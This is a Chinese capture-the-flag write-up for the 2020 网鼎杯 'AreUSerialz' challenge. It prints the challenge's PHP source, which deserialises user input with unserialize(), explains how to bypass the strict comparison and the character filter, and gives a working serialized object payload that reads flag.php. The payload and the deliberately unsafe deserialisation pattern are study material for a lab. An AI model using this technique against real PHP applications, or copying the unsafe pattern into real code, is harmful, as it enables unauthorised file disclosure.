[网鼎杯 2020 青龙组]AreUSerialz WP
[网鼎杯 2020 青龙组]AreUSerialz WP
看到题目,首先进入代码审计
<?phpinclude("flag.php");//在文件中插入flag.php文件的内容highlight_file(__FILE__);//highlight_file() 函数对文件进行 PHP 语法高亮显示class FileHandler {//定义类protected $op;protected $filename;protected $content;//定义成员变量function __construct() {//如果new了一个FileHandler新对象,机会执行该函数$op = "1";$filename = "/tmp/tmpfile";//初始化成员变量$content = "Hello World!";$this->process();//在新对象中调用process()函数}public function process() {//定义上文提到的process()函数if($this->op == "1") {$this->write();//如果op等于1执行write()函数} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {//定义上文提到的write()函数if(isset($this->filename) && isset($this->content)) {//使用有filename和content变量,很显然有if(strlen((string)$this->content) > 100) {//如果对象中content字符串长度大于100...很显然小于100$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);//把对象定义的content的内容写入filename文件中,定义res为content的长度if($res) $this->output("Successful!");//如果写入成功了即res有长度则输出successfulelse $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {//如果filename存在$res = file_get_contents($this->filename);//函数是用于将文件的内容读入到一个字符串中的首选方法,即将finename文件读入进res}return $res;}private function output($s) {//定义输出结果的格式echo "[Result]: <br>";echo $s;}function __destruct() {//反序列化结束后定义op为1,content为空字符,再调用process()函数一次if($this->op === "2")//强类型比较,这里输入的op如果不是字符串的2,则false$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)//循环字符串长度次if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//ord() 函数返回字符串中第一个字符的 ASCII 值return false;return true;//确保字符串中的字符都是asc码在32-125中间的
}if(isset($_GET{'str'})) {//检验是否有字符串输入$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);//将str字符串反序列化}}
通过如上代码审计,可以发现,如果单纯只进入write()函数没什么用,最后输出的东西只能是succseeful或者fail等没用的东西,而如果进入了read()函数,那么可以利用file_get—contents()函数将开头就导入的flag文件写入res字符串中输出出来。
因此需要进入process,这里我们通过反序列化结束时的__dustruct进入process()函数。
同时进入read()函数有一个关键点:op需要等于2,并且需要绕过强比较,将op=2,而不是op=”2“。
题目中让我们自己输入字符串,由于最后将输入的字符串反序列化,因此输入的应该是一个序列化之后的字符串。
而上面的is_valid()函数又必须让asc码在32-125,因此序列化之后不能存在 * %00之类的东西,所以输入序列化的时候需要进行绕过。
当php版本大于7.1时,对成员变量类型不敏感,而此时可以得到php版本大于7.1,因此在构造字符串时直接使用public格式。
【另外:将payload中,表示字符类型的S进行大写,会将成员变量作为16进制解析。
也可以对不可见字符进行绕过。】
因此构造的字符串如下:
O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;s:5:“hello”;}
发现啥也没有,然后进入f12去看一眼,找到了。
但是我之后看wp的时候,才发现php伪协议也可以使用,不过我不太懂。
[网鼎杯 2020 青龙组]AreUSerialz WP相关推荐
- Buuctf[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz 打开题目仔细阅读源码 <?phpinclude("flag.php"); highlight_file(__FILE__) ...
- BUUCTF·[网鼎杯 2020 青龙组]boom·WP
BUUCTF在线评测 (buuoj.cn) 附件 是一个可运行的文件 回车出现: 分析 猜测是C编写的,拉到编译器,发现提示是二进制文件 那就用010Editor打开 查找了一下flag,这不就是跟附 ...
- [网鼎杯 2020 青龙组]AreUSerialz 1
打开靶场,是一道php代码审计的题目,是个反序列化的题目 分块对代码进行分析,先分析输入部分 function is_valid($s) {for($i = 0; $i < strlen($s) ...
- [网鼎杯 2020 青龙组]AreUSerialz
打开题目,获得一大段代码 <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {prote ...
- [网鼎杯 2020 青龙组]AreUSerialz BUUCTF
源码如下,代码审计: <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { pro ...
- Buuctf [网鼎杯 2020 青龙组]jocker 题解
目录 一.主函数逻辑 二.wrong函数和omg函数--假flag 1.wrong函数 2.omg函数 3.假flag 三.encrypt和finally函数--真flag 1.打开sp指针偏移显示 ...
- re -25 buuctf [网鼎杯 2020 青龙组]jocker
[网鼎杯 2020 青龙组]jocker 前话:ida7.6设置栏内没有general,可以通过ctrl+shift+p打开命令面板,搜索option打开设置选项,于Disassembly设置堆栈显示 ...
- undefsafe原型链[网鼎杯 2020 青龙组]notes
感觉是考原型链但还是有点不知道如何下手,呜呜呜呜呜呜. 从浅入深 Javascript 原型链与原型链污染 [网鼎杯 2020 青龙组]notes var express = require('exp ...
- [网鼎杯 2020 青龙组]jocker
[网鼎杯 2020 青龙组]jocker SMC(self-Modifying Code): 自修改代码,程序在执行某段代码的过程中会对程序的代码进行修改,只有在修改后的代码才是可汇编,可执行的.在程 ...
最新文章
- iOS学习9_事件分发amp;响应链
- CodeFirst EF中导航属性的个人理解
- Intelligent Factorial Factorization LightOJ - 1035(水题)
- RabbitMQ教程C#版 - 工作队列
- 功能齐全的交易系统导航网源码
- 实习日志_实习律师实习日志第十八篇(连载30篇)
- JNI编程中数据类型转换的方法
- 黑苹果 OC引导 big sur 主题分享
- ArchLinux下i3wm简单配置和美化
- 解决: 小程序涉及提供天气查询等相关服务,请选择:工具-天气类目。微信小程序修改类目
- gif一键抠图 在线_又一个免费抠图神器!五秒在线搞定抠图
- 多元线性回归模型预测房价
- LoadRunner 录制IE 8卡死
- 当今主流浏览器内核简介
- 计算机网络有三大功能 数据通信,计算机网络的三大功能
- 旷视科技面试——算法岗
- 激光SLAM系统Fast LOAM (Lidar Odometry And Mapping)源码解析
- Cadence 中贴片元件焊盘的制作
- 惠普台式计算机BIOS密码设置,惠普电脑开机bios密码忘了怎么解决
- wmf文件与emf文件
热门文章
- python壁纸数据抓取_python爬虫系列之 xpath实战:批量下载壁纸
- 用easyx画电子钟_基于EasyX图形库的多线程绘图应用
- 代理软件突破公司网络限制
- python已安装这个产品的另一个版本_电脑安装会声会影过程中提示已安装这个产品的另一个版本怎么解决...
- JAVA作业——KFC模拟收银系统
- File类中的listFiles()方法
- 【EHub_tx1_tx2_E100】Ubuntu18.04 + ROS_ Melodic + RS-LiDAR-16 激光雷达测试
- [luogu p1074] 靶型数独
- 内核定制与编译准备工作
- AcrelEMS-HIW高速公路电力监控系统解决方案